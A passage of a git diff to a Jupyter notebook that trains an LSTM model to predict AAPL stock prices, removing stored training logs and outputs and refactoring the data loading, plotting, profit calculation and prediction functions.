9.9411e-05 - mean_absolute_error: 0.0082\nEpoch 00392: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 242us/sample - loss: 9.9069e-05 - mean_absolute_error: 0.0082 - val_loss: 2.7251e-05 - val_mean_absolute_error: 0.0036\nEpoch 393/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.1213e-05 - mean_absolute_error: 0.0080\nEpoch 00393: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 238us/sample - loss: 9.1539e-05 - mean_absolute_error: 0.0080 - val_loss: 4.4506e-05 - val_mean_absolute_error: 0.0050\nEpoch 394/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.1334e-05 - mean_absolute_error: 0.0082\nEpoch 00394: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 9.0979e-05 - mean_absolute_error: 0.0081 - val_loss: 3.4280e-05 - val_mean_absolute_error: 0.0043\nEpoch 395/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.5261e-05 - mean_absolute_error: 0.0082\nEpoch 00395: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 248us/sample - loss: 9.4580e-05 - mean_absolute_error: 0.0082 - val_loss: 2.7989e-05 - val_mean_absolute_error: 0.0038\nEpoch 396/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.9826e-05 - mean_absolute_error: 0.0082\nEpoch 00396: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 239us/sample - loss: 9.9862e-05 - mean_absolute_error: 0.0082 - val_loss: 3.0989e-05 - val_mean_absolute_error: 0.0046\nEpoch 397/400\n7808/7845 [============================>.] - ETA: 0s - loss: 8.5800e-05 - mean_absolute_error: 0.0079\nEpoch 00397: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 8.5866e-05 - mean_absolute_error: 0.0079 - val_loss: 3.1226e-05 - val_mean_absolute_error: 0.0041\nEpoch 398/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.8951e-05 - mean_absolute_error: 0.0082\nEpoch 00398: val_loss improved from 0.00003 to 0.00002, saving model to results\\2020-04-28_AAPL-huber_loss-adam-LSTM-seq-100-step-20-layers-3-units-256.h5\n7845/7845 [==============================] - 2s 248us/sample - loss: 9.8815e-05 - mean_absolute_error: 0.0082 - val_loss: 2.3405e-05 - val_mean_absolute_error: 0.0035\nEpoch 399/400\n7680/7845 [============================>.] - ETA: 0s - loss: 8.6476e-05 - mean_absolute_error: 0.0078\nEpoch 00399: val_loss improved from 0.00002 to 0.00002, saving model to results\\2020-04-28_AAPL-huber_loss-adam-LSTM-seq-100-step-20-layers-3-units-256.h5\n7845/7845 [==============================] - 3s 320us/sample - loss: 8.6031e-05 - mean_absolute_error: 0.0078 - val_loss: 2.2425e-05 - val_mean_absolute_error: 0.0040\nEpoch 400/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.2852e-05 - mean_absolute_error: 0.0081\nEpoch 00400: val_loss did not improve from 0.00002\n7845/7845 [==============================] - 3s 349us/sample - loss: 9.2576e-05 - mean_absolute_error: 0.0081 - val_loss: 3.0416e-05 - val_mean_absolute_error: 0.0037\n"
- }
- ],
+ "outputs": [],
"source": [
"# create these folders if they does not exist\n",
"if not os.path.isdir(\"results\"):\n",
@@ -999,131 +280,249 @@
" os.mkdir(\"data\")\n",
"\n",
"# load the data\n",
- "data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, feature_columns=FEATURE_COLUMNS)\n",
+ "data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE, \n",
+ " shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, \n",
+ " feature_columns=FEATURE_COLUMNS)\n",
"\n",
"# save the dataframe\n",
"data[\"df\"].to_csv(ticker_data_filename)\n",
"\n",
"# construct the model\n",
- "model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,\n",
- " dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL)\n",
- "\n",
+ "model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,\n",
+ " dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
"# some tensorflow callbacks\n",
"checkpointer = ModelCheckpoint(os.path.join(\"results\", model_name + \".h5\"), save_weights_only=True, save_best_only=True, verbose=1)\n",
"tensorboard = TensorBoard(log_dir=os.path.join(\"logs\", model_name))\n",
- "\n",
+ "# train the model and save the weights whenever we see \n",
+ "# a new optimal model using ModelCheckpoint\n",
"history = model.fit(data[\"X_train\"], data[\"y_train\"],\n",
" batch_size=BATCH_SIZE,\n",
" epochs=EPOCHS,\n",
" validation_data=(data[\"X_test\"], data[\"y_test\"]),\n",
" callbacks=[checkpointer, tensorboard],\n",
- " verbose=1)\n",
- "\n",
- "model.save(os.path.join(\"results\", model_name) + \".h5\")"
+ " verbose=1)"
]
},
{
"cell_type": "code",
- "execution_count": 7,
+ "execution_count": null,
"metadata": {},
"outputs": [],
"source": [
- "def plot_graph(model, data):\n",
- " y_test = data[\"y_test\"]\n",
- " X_test = data[\"X_test\"]\n",
- " y_pred = model.predict(X_test)\n",
- " y_test = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(np.expand_dims(y_test, axis=0)))\n",
- " y_pred = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(y_pred))\n",
- " plt.plot(y_test[-200:], c='b')\n",
- " plt.plot(y_pred[-200:], c='r')\n",
+ "import matplotlib.pyplot as plt\n",
+ "\n",
+ "def plot_graph(test_df):\n",
+ " \"\"\"\n",
+ " This function plots true close price along with predicted close price\n",
+ " with blue and red colors respectively\n",
+ " \"\"\"\n",
+ " plt.plot(test_df[f'true_adjclose_{LOOKUP_STEP}'], c='b')\n",
+ " plt.plot(test_df[f'adjclose_{LOOKUP_STEP}'], c='r')\n",
" plt.xlabel(\"Days\")\n",
" plt.ylabel(\"Price\")\n",
" plt.legend([\"Actual Price\", \"Predicted Price\"])\n",
- " plt.show()\n",
- "\n",
- "\n",
- "def get_accuracy(model, data):\n",
- " y_test = data[\"y_test\"]\n",
+ " plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "def get_final_df(model, data):\n",
+ " \"\"\"\n",
+ " This function takes the `model` and `data` dict to \n",
+ " construct a final dataframe that includes the features along \n",
+ " with true and predicted prices of the testing dataset\n",
+ " \"\"\"\n",
+ " # if predicted future price is higher than the current, \n",
+ " # then calculate the true future price minus the current price, to get the buy profit\n",
+ " buy_profit = lambda current, pred_future, true_future: true_future - current if pred_future > current else 0\n",
+ " # if the predicted future price is lower than the current price,\n",
+ " # then subtract the true future price from the current price\n",
+ " sell_profit = lambda current, pred_future, true_future: current - true_future if pred_future < current else 0\n",
" X_test = data[\"X_test\"]\n",
+ " y_test = data[\"y_test\"]\n",
+ " # perform prediction and get prices\n",
" y_pred = model.predict(X_test)\n",
- " y_test = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(np.expand_dims(y_test, axis=0)))\n",
- " y_pred = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(y_pred))\n",
- " y_pred = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_pred[LOOKUP_STEP:]))\n",
- " y_test = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_test[LOOKUP_STEP:]))\n",
- " return accuracy_score(y_test, y_pred)\n",
- "\n",
- "\n",
- "def predict(model, data, classification=False):\n",
+ " if SCALE:\n",
+ " y_test = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(np.expand_dims(y_test, axis=0)))\n",
+ " y_pred = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(y_pred))\n",
+ " test_df = data[\"test_df\"]\n",
+ " # add predicted future prices to the dataframe\n",
+ " test_df[f\"adjclose_{LOOKUP_STEP}\"] = y_pred\n",
+ " # add true future prices to the dataframe\n",
+ " test_df[f\"true_adjclose_{LOOKUP_STEP}\"] = y_test\n",
+ " # sort the dataframe by date\n",
+ " test_df.sort_index(inplace=True)\n",
+ " final_df = test_df\n",
+ " # add the buy profit column\n",
+ " final_df[\"buy_profit\"] = list(map(buy_profit, \n",
+ " final_df[\"adjclose\"], \n",
+ " final_df[f\"adjclose_{LOOKUP_STEP}\"], \n",
+ " final_df[f\"true_adjclose_{LOOKUP_STEP}\"])\n",
+ " # since we don't have profit for last sequence, add 0's\n",
+ " )\n",
+ " # add the sell profit column\n",
+ " final_df[\"sell_profit\"] = list(map(sell_profit, \n",
+ " final_df[\"adjclose\"], \n",
+ " final_df[f\"adjclose_{LOOKUP_STEP}\"], \n",
+ " final_df[f\"true_adjclose_{LOOKUP_STEP}\"])\n",
+ " # since we don't have profit for last sequence, add 0's\n",
+ " )\n",
+ " return final_df"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "def predict(model, data):\n",
" # retrieve the last sequence from data\n",
- " last_sequence = data[\"last_sequence\"][:N_STEPS]\n",
- " # retrieve the column scalers\n",
- " column_scaler = data[\"column_scaler\"]\n",
- " # reshape the last sequence\n",
- " last_sequence = last_sequence.reshape((last_sequence.shape[1], last_sequence.shape[0]))\n",
+ " last_sequence = data[\"last_sequence\"][-N_STEPS:]\n",
" # expand dimension\n",
" last_sequence = np.expand_dims(last_sequence, axis=0)\n",
" # get the prediction (scaled from 0 to 1)\n",
" prediction = model.predict(last_sequence)\n",
" # get the price (by inverting the scaling)\n",
- " predicted_price = column_scaler[\"adjclose\"].inverse_transform(prediction)[0][0]\n",
+ " if SCALE:\n",
+ " predicted_price = data[\"column_scaler\"][\"adjclose\"].inverse_transform(prediction)[0][0]\n",
+ " else:\n",
+ " predicted_price = prediction[0][0]\n",
" return predicted_price"
]
},
{
"cell_type": "code",
- "execution_count": 8,
+ "execution_count": null,
"metadata": {},
"outputs": [],
"source": [
- "# load the optimal model weights\n",
+ "# load optimal model weights from results folder\n",
"model_path = os.path.join(\"results\", model_name) + \".h5\"\n",
"model.load_weights(model_path)"
]
},
{
"cell_type": "code",
- "execution_count": 9,
+ "execution_count": null,
"metadata": {},
"outputs": [],
"source": [
- "# load the data with shuffle = False\n",
- "data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE,\n",
- " feature_columns=FEATURE_COLUMNS, shuffle=False)"
+ "# evaluate the model\n",
+ "loss, mae = model.evaluate(data[\"X_test\"], data[\"y_test\"], verbose=0)\n",
+ "# calculate the mean absolute error (inverse scaling)\n",
+ "if SCALE:\n",
+ " mean_absolute_error = data[\"column_scaler\"][\"adjclose\"].inverse_transform([[mae]])[0][0]\n",
+ "else:\n",
+ " mean_absolute_error = mae"
]
},
{
"cell_type": "code",
- "execution_count": 10,
+ "execution_count": null,
"metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "name": "stdout",
- "text": "Mean Absolute Error: 3.5988295\nFuture price after 20 days is 266.33$\nAccuracy Score: 0.8208032955715757\n"
- },
- {
- "output_type": "display_data",
- "data": {
- "text/plain": "",
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